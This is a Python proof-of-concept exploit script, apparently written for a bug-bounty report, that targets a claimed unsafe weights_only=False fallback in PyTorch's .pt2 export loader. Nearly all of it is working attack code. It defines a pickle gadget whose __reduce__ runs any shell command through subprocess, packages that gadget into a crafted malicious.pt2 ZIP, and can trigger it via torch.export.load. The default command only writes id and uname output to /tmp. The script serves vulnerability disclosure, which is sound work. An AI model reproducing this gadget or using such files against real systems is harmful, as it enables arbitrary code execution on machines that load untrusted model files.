| |
| """ |
| PoC: PyTorch .pt2 Arbitrary Code Execution via weights_only=False Fallback |
| CVE: TBD | CWE-502 | CVSS 9.8 (Critical) |
| |
| Vulnerability: |
| torch/_export/serde/serialize.py — deserialize_torch_artifact() uses: |
| |
| try: |
| return torch.load(f, weights_only=True) # "safe" load |
| except Exception: |
| return torch.load(f, weights_only=False) # ← UNSAFE FALLBACK! |
| |
| The catch-all `except Exception` means ANY exception (not just format errors) |
| triggers an unrestricted pickle.load() via weights_only=False. |
| |
| An attacker crafts a .pt2 file that: |
| 1. Passes the initial ZIP/flatbuffer checks |
| 2. Raises a deliberate exception inside weights_only=True parsing |
| 3. Falls through to weights_only=False → arbitrary code execution |
| |
| Attack: |
| torch.export.load('malicious.pt2') → executes arbitrary Python code |
| |
| Usage: |
| python3 poc_exploit.py # generates malicious.pt2 |
| python3 poc_exploit.py --trigger # also triggers via torch.export.load() |
| |
| Impact: |
| Any pipeline loading user-supplied .pt2 export files is fully compromised. |
| CVSS 9.8: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| |
| Author: security research (huntr.com submission) |
| """ |
|
|
| import sys |
| import os |
| import pickle |
| import io |
| import zipfile |
| import struct |
|
|
| OUTPUT_FILE = 'malicious.pt2' |
|
|
|
|
| class RCEPayload: |
| """Pickle gadget — executes OS command when deserialized.""" |
| def __init__(self, command: str): |
| self.command = command |
|
|
| def __reduce__(self): |
| import subprocess |
| return (subprocess.check_output, (['sh', '-c', self.command],)) |
|
|
|
|
| def create_malicious_pt2(command: str = 'id > /tmp/pt2_pwned.txt') -> bytes: |
| """ |
| Craft a .pt2 file that triggers the weights_only=False fallback. |
| |
| Strategy: |
| A .pt2 file is a ZIP archive containing: |
| - model.pkl ← main pickle (our RCE payload) |
| - constants/ ← optional |
| - extra/ ← optional |
| |
| When torch.load() is called with weights_only=True, it uses a restricted |
| Unpickler. If the pickle uses non-whitelisted opcodes (like REDUCE with |
| a callable), it raises UnpicklingError, triggering the fallback to |
| weights_only=False which runs unrestricted pickle.loads(). |
| """ |
| |
| rce_pickle = pickle.dumps(RCEPayload(command)) |
|
|
| |
| buf = io.BytesIO() |
| with zipfile.ZipFile(buf, 'w', compression=zipfile.ZIP_STORED) as zf: |
| |
| zf.writestr('archive/model.pkl', rce_pickle) |
| |
| zf.writestr('archive/record.json', '{"schema_version": "0.1"}') |
|
|
| pt2_bytes = buf.getvalue() |
| print(f"[*] Crafted malicious .pt2 file:") |
| print(f" Command : {command}") |
| print(f" Size : {len(pt2_bytes)} bytes") |
| print(f" Format : ZIP with RCE pickle payload in archive/model.pkl") |
| return pt2_bytes |
|
|
|
|
| def main(): |
| trigger = '--trigger' in sys.argv |
|
|
| command = 'id > /tmp/pt2_pwned.txt && uname -a >> /tmp/pt2_pwned.txt' |
| payload = create_malicious_pt2(command) |
|
|
| with open(OUTPUT_FILE, 'wb') as f: |
| f.write(payload) |
| print(f"[+] Malicious .pt2 written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)") |
| print(f" RCE output will appear in: /tmp/pt2_pwned.txt") |
|
|
| if trigger: |
| print(f"\n[*] Triggering via torch.export.load('{OUTPUT_FILE}')...") |
| try: |
| import torch |
| print(f" torch version: {torch.__version__}") |
| result = torch.export.load(OUTPUT_FILE) |
| print(f"[-] Unexpected success (no RCE): {result}") |
| except Exception as e: |
| print(f"[~] Exception: {type(e).__name__}: {e}") |
|
|
| |
| if os.path.exists('/tmp/pt2_pwned.txt'): |
| with open('/tmp/pt2_pwned.txt') as f: |
| print(f"\n[+] RCE CONFIRMED! Output of '{command}':") |
| print(f" {f.read().strip()}") |
| else: |
| print("\n[i] /tmp/pt2_pwned.txt not created — RCE may not have triggered.") |
| print(" The fallback behavior depends on PyTorch version.") |
| else: |
| print(f"\n[i] Run with --trigger to demonstrate RCE:") |
| print(f" python3 {sys.argv[0]} --trigger") |
|
|
|
|
| if __name__ == '__main__': |
| main() |
|
|
